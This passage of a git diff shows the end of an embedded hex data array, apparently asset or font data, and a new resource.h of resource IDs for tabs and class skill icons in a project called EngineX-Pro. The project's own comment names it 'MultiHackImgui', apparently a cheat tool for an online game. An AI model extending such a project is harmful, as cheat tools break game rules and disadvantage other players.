0x05840720, 0x05841320, 0x00250482, 0x000a0002, 0x200d840b, 0x20058412, 0x27058404, 0x00060003, 0x00140001, 0x09840482, + 0x09821520, 0x09840120, 0x09821620, 0x09840220, 0x09821720, 0x2d840320, 0x00096a08, 0x006a0034, 0x011e01ec, 0x035a0140, 0x03b80398, 0x078e05d2, + 0x18f40a28, 0x1e261e4e, 0x1eaa1e94, 0x20bc1fd2, 0x20642002, 0x22b621d2, 0x223e2204, 0x22742252, 0x229c228e, 0x22b822aa, 0x22d422c6, 0x22f022e2, + 0x230c23fe, 0x2328231a, 0x23442336, 0x23602352, 0x237c236e, 0x2398238a, 0x23b423a6, 0x23d623c2, 0x24fe23f0, 0x0a654b12, 0xd1826620, 0x20001624, + 0x7d822a00, 0x48003e28, 0x5c005200, 0x1f820100, 0xd3824820, 0x09847e20, 0x09884920, 0x09884a20, 0x09884b20, 0x09884c20, 0x09884d20, 0x09884e20, + 0x09864f20, 0x24000830, 0x26002500, 0x30002b00, 0x39003100, 0x818a3e00, 0x23822220, 0x16000a22, 0x46266b84, 0x7d000300, 0x0b844200, 0x0b844720, + 0x0b822d20, 0x3d820220, 0x06002b26, 0x01000000, 0x0320ad82, 0x02240782, 0x8202e622, 0x14200d82, 0x00220382, 0x05821800, 0x90000122, 0x22215389, + 0x832984c4, 0x829220c7, 0x897d205d, 0x1a022119, 0x4a088582, 0x005e0052, 0x0076006a, 0x008e0082, 0x00a6009a, 0x00be00b2, 0x00d600ca, 0x00ee00e2, + 0x010601fa, 0x011e0112, 0x0136012a, 0x014e0142, 0x0166015a, 0x017e0172, 0x0196018a, 0x01ae01a2, 0x01c601ba, 0x01de01d2, 0x02f601ea, 0x840e0202, + 0x849520a9, 0x843e20a9, 0x8a96200b, 0x8a97200b, 0x8a98200b, 0x8a99200b, 0x8a9a200b, 0x8a9b200b, 0x8a9c200b, 0x8a9d200b, 0x8a9e200b, 0x8a9f200b, + 0x8aa0200b, 0x8aa1200b, 0x8aa2200b, 0x8aa3200b, 0x8aa4200b, 0x8aa5200b, 0x8aa6200b, 0x8aa7200b, 0x8aa8200b, 0x8aa9200b, 0x8aaa200b, 0x8aab200b, + 0x8aac200b, 0x8aad200b, 0x8aae200b, 0x8aaf200b, 0x8ab0200b, 0x8ab1200b, 0x8ab2200b, 0x8ab3200b, 0x8ab4200b, 0x8ab5200b, 0x8ab6200b, 0x8ab7200b, + 0x8ab8200b, 0x8ab9200b, 0x86ba200b, 0x0002360b, 0x00240004, 0x0000003d, 0x0045003f, 0x0048001a, 0x0021004b, 0x2001824e, 0x093d4225, 0x00080025, + 0x820e0001, 0x00012203, 0x2405827d, 0x00940004, 0x0bcb4202, 0x424c2021, 0x19830877, 0x080a7742, 0x00a40157, 0x005a002a, 0x006e0064, 0x00241d78, + 0x008c0082, 0x00a00096, 0x1d2e1daa, 0x1d421d38, 0x00b4004c, 0x1dc800be, 0x00d20056, 0x00e600dc, 0x01fa00f0, 0x010e0104, 0x01aa1e18, 0x012c0122, + 0x01400136, 0x016a1d4a, 0x015e0154, 0x01720168, 0x0186017c, 0x1e9a0190, 0x208584aa, 0x85858250, 0x8851208f, 0x88522009, 0x88532009, 0x88552009, + 0x88562009, 0x88572009, 0x88582009, 0x88592009, 0x885e2009, 0x885f2009, 0x88602009, 0x88622009, 0x88632009, 0x88642009, 0x88652009, 0x88662009, + 0x88672009, 0x88682009, 0x88692009, 0x886b2009, 0x886c2009, 0x886d2009, 0x886e2009, 0x886f2009, 0x88712009, 0x88722009, 0x88732009, 0x88742009, + 0x88752009, 0x88762009, 0x88772009, 0x84782009, 0x82022009, 0x00242a05, 0x0000004b, 0x004f004e, 0x09f54128, 0x88014e08, 0x52002600, 0x66005c00, + 0xb81b7000, 0x84007a00, 0x98008e00, 0xc21ba200, 0xd61bcc1b, 0xac00e01b, 0xc000b600, 0xca00ea1b, 0xde00d400, 0xf200e800, 0x0601fc00, 0x1a011001, + 0x2e012401, 0x42013801, 0x4c01f41b, 0x60015601, 0x74016a01, 0x05554501, 0x7d88bb20, 0x0988bc20, 0x0988bd20, 0x0988be20, 0x0988c020, 0x0988c120, + 0x0988c220, 0x0988c320, 0x0988c420, 0x0988c920, 0x0988ca20, 0x0988cb20, 0x0988cd20, 0x0988ce20, 0x0988cf20, 0x0988d020, 0x0988d120, 0x0988d220, + 0x0988d320, 0x0988d420, 0x0988d520, 0x0988d620, 0x0988d720, 0x0988d820, 0x0988d920, 0x0988db20, 0x0988dc20, 0x0988dd20, 0x0988de20, 0x0988df20, + 0x0984e020, 0x01000228, 0xba009500, 0x99410000, 0x039d0809, 0x004c0096, 0x00a8009e, 0x00bc00b2, 0x00d000c6, 0x00e400da, 0x01f800ee, 0x010c0102, + 0x01200116, 0x0134012a, 0x0148013e, 0x015c0152, 0x01700166, 0x0184017a, 0x0198018e, 0x01ac01a2, 0x01c001b6, 0x01d401ca, 0x01e801de, 0x02fc01f2, + 0x02100206, 0x0224021a, 0x0238022e, 0x024c0242, 0x02600256, 0x0274026a, 0x0288027e, 0x029c0292, 0x02b002a6, 0x02c402ba, 0x02d802ce, 0x02ec02e2, + 0x030003f6, 0x0314030a, 0x0328031e, 0x033c0332, 0x03500346, 0x0364035a, 0x0378036e, 0x008c0382, 0x20a78201, 0x20b98295, 0x20098494, 0x20098896, + 0x20098897, 0x20098898, 0x20098899, 0x2009889a, 0x2009889b, 0x2009889c, 0x2009889d, 0x2009889e, 0x2009889f, 0x200988a0, 0x200988a1, 0x200988a2, + 0x200988a3, 0x200988a4, 0x200988a5, 0x200988a6, 0x200988a7, 0x200988a8, 0x200988a9, 0x200988aa, 0x200988ab, 0x200988ac, 0x200988ad, 0x200988ae, + 0x200988af, 0x200988b0, 0x200988b1, 0x200988b2, 0x200988b3, 0x200988b4, 0x200988b5, 0x200988b6, 0x200988b7, 0x200988b8, 0x200988b9, 0x200988ba, + 0x200988bb, 0x200988bc, 0x200988bd, 0x200988be, 0x200988bf, 0x200988c0, 0x200988c1, 0x200988c2, 0x200988c3, 0x200988c4, 0x200988c5, 0x200988c6, + 0x200988c7, 0x200988c8, 0x200988c9, 0x200988ca, 0x200988cb, 0x200988cc, 0x200988cd, 0x200988ce, 0x200988cf, 0x200988d0, 0x200988d1, 0x200988d2, + 0x200988d3, 0x200988d4, 0x200988d5, 0x200988d6, 0x200988d7, 0x200988d8, 0x200988d9, 0x200988da, 0x200988db, 0x200988dc, 0x200988dd, 0x200988de, + 0x200988df, 0x220984e0, 0x47070002, 0x50301849, 0x26006900, 0x71006b00, 0x74004000, 0x47007800, 0x0809cb43, 0x00180d69, 0x015c002b, 0x028a0150, + 0x023e0224, 0x027c0272, 0x031403fa, 0x03580336, 0x03940372, 0x04f003ae, 0x05f004d6, 0x067e0552, 0x073407d0, 0x0816087e, 0x08d80838, 0x09cc09ea, + 0x0a580af6, 0x0bc80bfc, 0x0c040cfa, 0x0c320c28, 0x0c960c64, 0x0cca0ca8, 0x0dfa0cf0, 0x000e0d04, 0x003a001c, 0x004c0044, 0x005c0054, 0x826c0064, + 0x7c280879, 0x88008200, 0x94008e00, 0xa0009a00, 0xac00a600, 0xb800b200, 0xc400be00, 0xd000ca00, 0xdc00d600, 0xe800e200, 0x0601ee00, 0x6f209f82, + 0x3f2a3382, 0x0300ea00, 0x3d005f00, 0x0784ec00, 0xfb004022, 0x6c240782, 0x02013d00, 0x6f240782, 0x03012e00, 0x30220784, 0x07840401, 0x05013322, + 0xa9280784, 0x0200e100, 0xe3002400, 0x25220582, 0x0582e400, 0xe5002922, 0x2b220582, 0x0582e600, 0xe7002e22, 0x32200582, 0x02246982, 0xed003300, + 0x34220b82, 0x0582ee00, 0xef003522, 0x37220582, 0x0582f000, 0xf2003828, 0x39000200, 0x0582f600, 0xf8003c22, 0x3d220582, 0x0582f900, 0xfa003f22, + 0x40220582, 0x0582fc00, 0x01014122, 0x43220582, 0x0582eb00, 0xf100a422, 0xa9260582, 0x10000700, 0xf9821600, 0x28002228, 0x34002e00, 0x15820701, + 0x08012522, 0x33220582, 0x05820a01, 0x0b013722, 0x3c220582, 0x05820d01, 0x0f013d22, 0x40220582, 0x05821101, 0x12004124, 0x31822600, 0x3e003635, + 0x4c004600, 0x58005200, 0x64005e00, 0x70006a00, 0x41007600, 0x01210837, 0x20df821a, 0x20ff8262, 0x2207841b, 0x821d0140, 0x82632007, 0x8220200f, + 0x82672007, 0x82142007, 0x0126224b, 0x22058215, 0x82160127, 0x012b2205, 0x22058217, 0x82180132, 0x01352205, 0x22058219, 0x841c0136, 0x821e2087, + 0x013a2205, 0x2205821f, 0x8421013b, 0x84222093, 0x82242093, 0x013f2205, 0x20998425, 0x28df8426, 0x00080003, 0x0114000e, 0x20378427, 0x202b8428, + 0x22058229, 0x8206003d, 0x21ed8817, 0x83822c01, 0x40005624, 0x1b822a01, 0x2b012922, 0x2a220582, 0x33842d01, 0x33842e20, 0x33842f20, 0x04000124, + 0x09843001, 0x000f2008, 0x00280020, 0x00360030, 0x0042003c, 0x004e0048, 0x005a0054, 0x00660060, 0x0072006c, 0x82360178, 0x8257204f, 0x843720d3, + 0x01402207, 0x22358232, 0x84330124, 0x823820d5, 0x012c2205, 0x2205823a, 0x823b012e, 0x01302205, 0x2205823c, 0x843d0133, 0x843e20e7, 0x843f2075, + 0x844020e1, 0x8441207b, 0x844320db, 0x823520d5, 0x82472005, 0x84082053, 0x844420d5, 0x8445202b, 0x84462025, 0x00042297, 0x05c5410a, 0x84470121, + 0x844820c9, 0x844920c9, 0x824a2077, 0x00412105, 0x4b202189, 0x4c208184, 0x2f220582, 0x63844d01, 0x05824e20, 0x5d884020, 0x19844f20, 0x19845020, + 0x19845120, 0x52203b89, 0x5320b784, 0x31220582, 0x21845401, 0x3b8c5520, 0x19845620, 0x19845720, 0x19845820, 0x1200082a, 0x1e001800, 0x2a002400, + 0x21053741, 0x7f845901, 0x65845a20, 0x4f845b20, 0x35845c20, 0x05825d20, 0x5e013222, 0x5f20d584, 0x60204184, 0x1a214184, 0x05614200, 0x004e2e08, + 0x005e0056, 0x006e0066, 0x007e0076, 0x008c0086, 0x00980092, 0x00a4009e, 0x00b000aa, 0x00bc00b6, 0x00c800c2, 0x00d400ce, 0x01e000da, 0x24cf8262, + 0x013d0050, 0x22078464, 0x82690140, 0x825f2007, 0x846a200f, 0x01402207, 0x0685426d, 0x07827020, 0x3f006424, 0x07827301, 0x1f826820, 0x07827920, + 0x37006f24, 0x07847a01, 0x7b013d22, 0x40280784, 0x02006101, 0x66012400, 0x25220582, 0x05826801, 0x6b013322, 0x34220582, 0x05826c01, 0x6e013722, + 0x38220582, 0x05827101, 0x72013922, 0x7420c184, 0x7620c184, 0x3f220582, 0x05827701, 0x78014022, 0x43220582, 0x05826501, 0x63014622, 0x95220582, + 0x05826701, 0x6f019622, 0xa9200582, 0x20087d41, 0x204f847c, 0x203d847d, 0x3aff847e, 0x001a000c, 0x00260020, 0x0032002c, 0x003e0038, 0x004a0044, + 0x00560050, 0x827f015c, 0x0126221f, 0x28058281, 0x00820127, 0x01350002, 0x22058283, 0x84840136, 0x82852043, 0x013a2205, 0x22058287, 0x8488013b, + 0x84892093, 0x848a2055, 0x8280208d, 0x01972205, 0x26058286, 0x000500ab, 0x8514000c, 0x8c012165, 0x20061741, 0x2043848b, 0x2037848d, 0x2037848e, + 0x3e8d848f, 0x004e0026, 0x00600058, 0x00700068, 0x00800078, 0x00900088, 0x00a00098, 0x00b000a8, 0x41c000b8, 0x29080981, 0xec00e600, 0xf800f200, + 0x0401fe00, 0x10010a01, 0x1c011601, 0x28012201, 0x34012e01, 0x40013a01, 0x4c014601, 0x0400b301, 0x4b826f00, 0x91013d22, 0x50247782, 0x97014300, + 0x5f240782, 0x99013d00, 0x43220784, 0x07829b01, 0x0f826020, 0x07849c20, 0x9f014022, 0x61240782, 0xa1014000, 0x62200782, 0xa3201782, 0x40220784, + 0xb786a501, 0x5544ab20, 0x84ac2006, 0x01402207, 0x06d741ae, 0x0782b220, 0x2e006f24, 0x0784b401, 0x90013d22, 0x2422cd82, 0x05829201, 0x93012922, + 0x2a220582, 0x05829401, 0x95012e22, 0x30220582, 0x05829601, 0x9a013322, 0x34220582, 0x05829d01, 0xa0013522, 0x36220582, 0x0582a401, 0xa6013722, + 0x38220582, 0x0582a801, 0xaa013922, 0x3b220582, 0x0582ad01, 0xaf013c22, 0x3d220582, 0x0582b001, 0xb1014022, 0x43220582, 0x0582b501, 0x98014422, + 0xa4220582, 0x05829e01, 0xa201a622, 0xa7220582, 0x0582a701, 0xa901a922, 0xaa250582, 0x1a000c00, 0x067b4500, 0x003a0023, 0x094b4540, 0x82b90121, + 0x825f20ab, 0x84b620e3, 0x82b72099, 0x012f2205, 0x209984b8, 0x208784ba, 0x208784bb, 0x208784bc, 0x208184bd, 0x208184be, 0x220582bf, 0x84c0013f, + 0x82c12087, 0x00432305, 0xdf410009, 0x09454206, 0x82c20121, 0x012b2219, 0x205b84c4, 0x205584c5, 0x205584c7, 0x205584c8, 0x205584c9, 0x204f84cb, + 0x204f84cc, 0x0ef345cd, 0x2b088742, 0x68006200, 0x74006e00, 0x80007a00, 0x21059743, 0xb982d101, 0xb9825720, 0x9d41d620, 0x82dd2006, 0x826b2007, + 0x84cf200f, 0x82d22073, 0x012c2205, 0x207384d3, 0x220582d4, 0x82d50135, 0x01362205, 0x207f84d7, 0x220582d8, 0x82d9013a, 0x013b2205, 0x207f84db, + 0x207f84dc, 0x20cf84de, 0x220582df, 0x82e00141, 0x01432205, 0x220582d0, 0x82da014b, 0x44ac2005, 0xe1200adf, 0xe2204584, 0xe4203984, 0xe5203984, + 0x40280582, 0x28001300, 0x38003000, 0x460b6141, 0x002311ad, 0x82ec019a, 0x826620ab, 0x82ef20ab, 0x82672007, 0x84f12007, 0x01402207, 0x20af84e6, + 0x20af84e7, 0x206384e8, 0x220582e9, 0x84eb0138, 0x84ee20af, 0x82f220af, 0x013c2205, 0x207b84f3, 0x207b84f4, 0x20b584f5, 0x20b584f6, 0x20b584f7, + 0x220582f8, 0x82ea0144, 0x01a92205, 0x220582ed, 0x84f001ab, 0x000226c1, 0x010c0006, 0x205984f9, 0x220582fa, 0x841b003d, 0x004822ad, 0x15594750, + 0x21179148, 0xb182fe01, 0x3d005024, 0x07820902, 0x07826020, 0x7d411320, 0x15022105, 0x6c240782, 0xfd013000, 0x24225d82, 0x0582ff01, 0x00022522, + 0x26220582, 0x05820102, 0x03022b22, 0x2e220582, 0x05820402, 0x05022f22, 0x30220582, 0x05820602, 0x07023122, 0x33220582, 0x05820802, 0x0a023422, + 0x35220582, 0x05820c02, 0x0d023822, 0x39220582, 0x05820e02, 0x0f023a22, 0x3b220582, 0x05821002, 0x11023c22, 0x3d220582, 0x05821202, 0x14023f22, + 0x40220582, 0x05821602, 0x17024322, 0x44280582, 0x02000202, 0x0b024b00, 0xa6240582, 0x0c000500, 0x21071f46, 0x11821802, 0x19023722, 0x1a203b84, + 0x1b203b84, 0x1c203b84, 0x44200582, 0x05452782, 0x1d022116, 0x24221f82, 0x05821f02, 0x20022922, 0x2a220582, 0xc7842102, 0xb5842220, 0x55842320, + 0x97842420, 0x5b842520, 0x5b842620, 0x5b842720, 0x05822820, 0x1e024122, 0x48200582, 0x260a1f42, 0x00500048, 0x425c0056, 0x002d11d7, 0x029e0098, + 0x0003002c, 0x023d005a, 0x2207842e, 0x82300240, 0x825b2007, 0x8233200f, 0x825e2007, 0x44382007, 0x02210571, 0x20978429, 0x208b842b, 0x2205822f, + 0x8232022f, 0x02322205, 0x22058234, 0x82360238, 0x02392205, 0x20978437, 0x20978439, 0x2091843a, 0x2205823b, 0x822a0242, 0x02952205, 0x2205822d, + 0x8231029f, 0x02a02205, 0x2c058235, 0x001800a9, 0x003a0032, 0x004a0042, 0x0b774852, 0x007e003b, 0x008a0084, 0x00960090, 0x00a2009c, 0x00ae00a8, + 0x00ba00b4, 0x02c600c0, 0x248d823e, 0x02400050, 0x054b4443, 0x84450221, 0x02402207, 0x061b4247, 0xad864f20, 0xad843c20, 0x05823f20, 0x40022522, + 0x2b220582, 0xb9844102, 0x05824220, 0x46023322, 0x34220582, 0x05824802, 0x49023522, 0x37220582, 0xc5844a02, 0xc5844c20, 0x05824d20, 0x4e023a22, + 0x5020cb84, 0x5120cb84, 0x3f220582, 0xd1845202, 0x05825320, 0x3d024322, 0x4420d184, 0xa4220582, 0xcb844b02, 0x0e000622, 0x21099544, 0x13825402, + 0x55023222, 0x56205b84, 0x57204984, 0x58204984, 0x59204984, 0x40260582, 0x04000100, 0xef485a02, 0x05574808, 0xbf85fe20, 0x82fd0021, 0x003c2217, + 0x220582ff, 0x8700013d, 0x3901212d, 0x698c2d84, 0x82e90021, 0x00332213, 0x220582f3, 0x82f50039, 0x003a2205, 0x203b84f7, 0x220582e2, 0x82f40048, + 0x004e2105, 0x0121318c, 0x22138209, 0x820c0133, 0x013c2205, 0x2061840e, 0x22058210, 0x82120140, 0x01412205, 0x20058213, 0x24038243, 0x010c0006, + 0x201d8442, 0x20058234, 0x0a91444b, 0x3f84c620, 0x0582ce20, 0xc3014322, 0x4b220582, 0x6584ca01, 0x0a00042a, 0x1a001200, 0xfb012000, 0x9024c582, + 0xfc013d00, 0x44200784, 0x02200f82, 0x02220d84, 0xf5834400, 0x4a230121, 0x31200887, 0x75200988, 0xe3200988, 0x022c0984, 0x50000900, 0x00005300, + 0x69005500, 0x6b2c7d82, 0x19007500, 0x78007700, 0x93002400, 0x26220182, 0x0182bd00, 0xc1002722, 0x28220182, 0x0182ca00, 0xd2002922, 0x2a200182, + 0x3408ed82, 0x00180000, 0x00820036, 0x01e000ae, 0x01440116, 0x01aa0182, 0x02fc01d6, 0x02760234, 0x034203e0, 0x041204ac, 0x048e045c, 0x05f404c6, + 0x05500520, 0x009e0576, 0x22698203, 0x824c0b01, 0x8212209f, 0x82002003, 0x0001246b, 0x6d28001b, 0x3e200897, 0x4c26bb82, 0x4f004d00, 0x776d9900, + 0x6db42008, 0x82201431, 0x00204b86, 0x1a204b88, 0x0b360982, 0x39003500, 0xa6004e00, 0x7f01aa00, 0x85018001, 0x8a018601, 0x2b855902, 0x88d40a21, + 0x821b202b, 0x820e2009, 0x003338e3, 0x003a0038, 0x00420040, 0x00950048, 0x00ab00a9, 0x02b200b0, 0x86580254, 0x88a22031, 0x821c2031, 0x00102609, + 0x00290027, 0x2af5822a, 0x0098003d, 0x009b009a, 0x82a700a4, 0x00b628ff, 0x01e800ba, 0x86890168, 0x886c2035, 0x821d2035, 0x000c3809, 0x00340026, + 0x003c0037, 0x004a003f, 0x00a50097, 0x00af00ad, 0x86fc01b8, 0x883e202d, 0x821e202d, 0x5b142009, 0x21080547, 0x41003b00, 0x45004300, 0x47004600, + 0x9c004b00, 0xa8009e00, 0xb100ac00, 0xb900b500, 0x1f028801, 0x3d862702, 0x1f20ff89, 0x09323d82, 0xa3003200, 0x8101b300, 0xb7018301, 0x31022f02, + 0x27855702, 0x88d80921, 0x82202065, 0x000b3609, 0x00490025, 0x009d0096, 0x01b601b7, 0x021c02fb, 0x022d022b, 0x202b862e, 0x202b88ac, 0x30098221, + 0x016e0108, 0x0171016f, 0x02d401bc, 0x02350234, 0x20258636, 0x20258886, 0x08098222, 0x18011122, 0x61015a01, 0x77016301, 0x95019401, 0xb801b501, + 0xc001bb01, 0x1b02f801, 0x2a022902, 0x3b023a02, 0x4e203786, 0x23203788, 0x16330982, 0x2a012501, 0x3b013a01, 0x5b015901, 0x74016a01, 0x6e018f01, + 0xbe3205e1, 0xd501d301, 0xde01d801, 0x2102e701, 0x41023902, 0x41864802, 0x41880c20, 0x09822420, 0x012a2208, 0x01190115, 0x0129011e, 0x012c012b, + 0x0154013d, 0x0169015c, 0x016c016b, 0x01760175, 0x0190017e, 0x43521898, 0xb0280808, 0xbd01ba01, 0xc101bf01, 0xe901db01, 0xf501ea01, 0x17020402, + 0x1d021902, 0x37021e02, 0x3d023c02, 0x4b024a02, 0x52024c02, 0x08206985, 0x2009ff41, 0x08698225, 0x0001264c, 0x22011401, 0x27012301, 0x2f012801, + 0x3f013201, 0x60014301, 0x72016501, 0x8e017801, 0x96019201, 0xa201a001, 0xd901d701, 0xdf01dc01, 0xe501e001, 0xeb01e601, 0xfa01ed01, 0x05020302, + 0x1a021802, 0x32022202, 0x44024202, 0x61864d02, 0xcb884020, 0x09822620, 0x002a3e08, 0x011c01ff, 0x0121011f, 0x01260124, 0x012e012d, 0x0146013c, + 0x01480147, 0x0150014d, 0x015f0157, 0x018b017d, 0x0193018d, 0x01aa019a, 0x01cf01af, 0x01da01d0, 0x01e301e2, 0x02f901f3, 0x63521806, 0x02202c08, + 0x02250223, 0x02500246, 0x85560255, 0xd6072169, 0x27206988, 0x50080982, 0x00e60028, 0x01fd00ee, 0x0110010f, 0x01170116, 0x01390135, 0x0141013e, + 0x01440142, 0x0166015e, 0x017c0167, 0x01ad01a4, 0x01c401b1, 0x01e101d2, 0x01e801e4, 0x01f001ee, 0x01f401f2, 0x01f701f6, 0x021402fd, 0x02260224, + 0x02490228, 0x0251024e, 0x20658653, 0x20658870, 0x2a098228, 0x00e1001a, 0x00e400e2, 0x71f100f0, 0x23080517, 0x09010801, 0x31013001, 0x40013801, + 0x49014501, 0x84014a01, 0xc8018701, 0xca01c901, 0x0e020702, 0x40021102, 0x26204986, 0x29204988, 0x0e3c0982, 0xeb00e900, 0xfa00f500, 0x0e010d01, + 0x34013301, 0xc5015d01, 0x0002c601, 0x3f020802, 0x06213185, 0x203188f4, 0x0809822a, 0xed001122, 0x0a01f800, 0x0c010b01, 0x12011101, 0xb9011301, + 0x0102cb01, 0x0f020202, 0x12021002, 0x5a021602, 0xbc203786, 0x2b203788, 0x0c380982, 0xf600ef00, 0xf900f700, 0x0101fc00, 0xc7017001, 0xcd01cc01, + 0xd601ce01, 0x8e202d86, 0x2c202d88, 0x0b360982, 0xe700e500, 0x1b010701, 0xa3017b01, 0xc201b201, 0xff01c301, 0x2b864502, 0x2b886220, 0x09822d20, + 0xe3000d3a, 0x6d011a01, 0x7a017301, 0x9c019701, 0x2c02ec01, 0x33023002, 0x43023802, 0x32202f86, 0x2e202f88, 0x08300982, 0x20011d01, 0x8c017901, + 0xac01a101, 0xf101d101, 0xff422586, 0x822f2009, 0x00093225, 0x013701ec, 0x019b0199, 0x01ab01a5, 0x02ef01b4, 0x21278547, 0x4d88e405, 0x09843020, + 0x00ea2f08, 0x01fe00fb, 0x01030102, 0x01050104, 0x01620136, 0x01910164, 0x02dd01ae, 0x02130209, 0x023e0215, 0x0006004f, 0x00040000, 0x0026000e, + 0x3942003e, 0x44052006, 0x4783093b, 0x1a000122, 0xc0205f86, 0x31205f88, 0x01220982, 0x17861b00, 0x1788a820, 0x17843220, 0x17861c20, 0x17889020, + 0x17843320, 0x05821d20, 0x03820020, 0x02000824, 0x75822c00, 0x85009221, 0x0c8b5d01, 0x005a0523, 0x24938216, 0x00000002, 0x222b820c, 0x8202000d, + 0x001a2205, 0x660f821d, 0xcc260947, 0x18000900, 0xb3822200, 0x76005a22, 0xae244582, 0xc200b800, 0x04222782, 0x2f826002, 0x7f827920, 0x10000826, + 0x63021600, 0x92240982, 0x61027900, 0x02211583, 0x20058262, 0x201b8892, 0x201b8669, 0x201b8467, 0x201b8c68, 0x201b866c, 0x201b846a, 0x201b8c6b, + 0x201b866f, 0x201b846d, 0x201b8c6e, 0x201b8672, 0x201b8470, 0x241b8471, 0x02040001, 0x83958473, 0x88742009, 0x865c2009, 0x00092c09, 0x00170007, + 0x001f001e, 0x82210020, 0x822320d3, 0x091141cf, 0x14000224, 0xd9822a00, 0xff823420, 0x03820120, 0x35823320, 0x336f0320, 0x5a02230d, 0x15825200, + 0x7c020124, 0x25849302, 0x79000326, 0x5c029200, 0x21090d55, 0x0b824e00, 0x18000e22, 0x34204982, 0x04224b82, 0x2f827902, 0x03821a20, 0x0c000624, + 0x07827502, 0x76021822, 0x19200582, 0x7a201b84, 0x1d531b84, 0x77022106, 0x78201d84, 0x19220582, 0x19847b02, 0x4b820120, 0x3e003527, 0x44004100, + 0x22a78900, 0x82120001, 0x885a203d, 0x820120a5, 0x002424c9, 0x82480039, 0x00952c7b, 0x00b600aa, 0x00e100ba, 0x44e800e2, 0x323e0617, 0x63016101, + 0x90017101, 0xa901a801, 0xc901bc01, 0xfd01ca01, 0x1d020d02, 0x29021e02, 0x97742a02, 0x004c2106, 0x17266d83, 0x62026102, 0xcf8a6302, 0x00ba2008, + 0x0024000f, 0x0038002e, 0x004c0042, 0x00600056, 0x0074006a, 0x0088007e, 0x009c0092, 0x84b000a6, 0x59542037, 0x5a2008f3, 0x5b200988, 0x5c200988, + 0x5d200988, 0x61200988, 0x6a200988, 0x70200988, 0xbf200988, 0xc5200988, 0xc6200988, 0xc7200988, 0xc8200988, 0xcc200988, 0xda200988, 0x0f200986, + 0x240afd48, 0x003e0035, 0x0af94844, 0xb400a622, 0x240a2143, 0x040f0024, 0x7f521805, 0x0a042907, 0x0c040b04, 0x0e040d04, 0x09615218, 0x0f3e2b82, + 0x9f029402, 0xad02a102, 0xb202ae02, 0x0903f302, 0x49031103, 0xe003df03, 0xe303e203, 0x4d8ae803, 0x0a001a36, 0x19041404, 0x17041504, 0x18041d04, + 0x1a041c04, 0x1b041604, 0x0a252182, 0x3203d402, 0x5b561803, 0x03532409, 0x88570355, 0x00012439, 0x82850106, 0x0201220d, 0x24138899, 0x000e0002, + 0xc9521804, 0x28158207, 0x02a50204, 0x02a902a6, 0x09a141ac, 0x00900125, 0x82080001, 0x00042203, 0x20f98693, 0x23118500, 0x66023a01, 0x01244988, + 0x67022c01, 0x1e220d8a, 0x0d8a6802, 0x69021022, 0x02220d8a, 0x0d896a02, 0x02f40023, 0x220d8a6b, 0x8a6c02e6, 0x02d8220d, 0x220d8a6d, 0x8a6e02ca, + 0x02bc220d, 0x220d8a6f, 0x8a7002ae, 0x02a0220d, 0x220d8a71, 0x8a720292, 0x0284220d, 0x220d8a73, 0x8a740276, 0x0268220d, 0x220d8a75, 0x8a76025a, + 0x024c220d, 0x220d8a77, 0x8a78023e, 0x0230220d, 0x220d8a79, 0x8a7a0222, 0x0214220d, 0x220d8a7b, 0x827c0206, 0x0001220d, 0x26138816, 0x000a0002, + 0x82930202, 0x00012205, 0x20178202, 0x2419883e, 0xff140001, 0x220d8acd, 0x84ceff06, 0x8321893b, 0x0208302f, 0x020d005b, 0x025e025d, 0x0264025f, + 0x82660265, 0x00082423, 0x443e0017, 0x0227053b, 0x02620261, 0x05000063, 0x1609e8fa, 0x0000001a, +}; + diff --git a/EngineX-Pro/resource.h b/EngineX-Pro/resource.h new file mode 100644 index 0000000..1a9e7b7 --- /dev/null +++ b/EngineX-Pro/resource.h @@ -0,0 +1,108 @@ +//{{NO_DEPENDENCIES}} +// Plik doczany wygenerowany przez rodowisko Microsoft Visual C++. +// Uywany przez: MultiHackImgui.rc +// +#define IDB_PNG1 911 +#define IDB_PNG2 912 +#define IDB_PNG3 913 +#define IDB_PNG4 914 +#define IDB_PNG5 915 +#define IDB_PNG6 916 +#define IDB_PNG7 917 +#define IDB_PNG8 918 +#define IDB_PNG9 919 +#define IDB_PNG10 920 +#define IDB_PNG11 921 +#define IDB_PNG12 922 +#define IDB_PNG13 923 +#define IDB_PNG14 924 + +#define IDB_PNG15 910 +#define IDB_PNG16 909 +#define IDB_SPLASH 925 +#define IDB_POTION_OFF 926 +#define IDB_POTION_ON 927 + +#define IDB_MainTab 1001 +#define IDB_FishbotTab 1002 +#define IDB_AdditionalTab 1003 +#define IDB_VisualsTab 1004 +#define IDB_ProtectionTab 1005 +#define IDB_SettingsTab 1006 +#define IDB_DeveloperTab 1007 + +#define NINJA_A_0 950 +#define NINJA_A_1 951 +#define NINJA_A_2 952 +#define NINJA_A_3 953 +#define NINJA_A_4 954 +#define NINJA_A_5 955 + +#define NINJA_D_0 956 +#define NINJA_D_1 957 +#define NINJA_D_2 958 +#define NINJA_D_3 959 +#define NINJA_D_4 960 +#define NINJA_D_5 961 + +#define SHAMAN_D_0 962 +#define SHAMAN_D_1 963 +#define SHAMAN_D_2 964 +#define SHAMAN_D_3 965 +#define SHAMAN_D_4 966 +#define SHAMAN_D_5 967 + + +#define SHAMAN_H_0 968 +#define SHAMAN_H_1 969 +#define SHAMAN_H_2 970 +#define SHAMAN_H_3 971 +#define SHAMAN_H_4 972 +#define SHAMAN_H_5 973 + + + +#define SURA_B_0 974 +#define SURA_B_1 975 +#define SURA_B_2 976 +#define SURA_B_3 977 +#define SURA_B_4 978 +#define SURA_B_5 979 + + +#define SURA_W_0 980 +#define SURA_W_1 981 +#define SURA_W_2 982 +#define SURA_W_3 983 +#define SURA_W_4 984 +#define SURA_W_5 985 + + +#define WARRIOR_B_0 986 +#define WARRIOR_B_1 987 +#define WARRIOR_B_2 988 +#define WARRIOR_B_3 989 +#define WARRIOR_B_4 990 +#define WARRIOR_B_5 991 + + +#define WARRIOR_M_0 992 +#define WARRIOR_M_1 993 +#define WARRIOR_M_2 994 +#define WARRIOR_M_3 995 +#define WARRIOR_M_4 996 +#define WARRIOR_M_5 997 + +#define SKILL_NONE 998 +#define SKILL_ON 999 +#define SKILL_OFF 1000 +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 923 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 911 +#endif +#endif diff --git a/EngineX-Pro/stdafx.cpp b/EngineX-Pro/stdafx.cpp new file mode 100644 index 0000000..fd4f341 --- 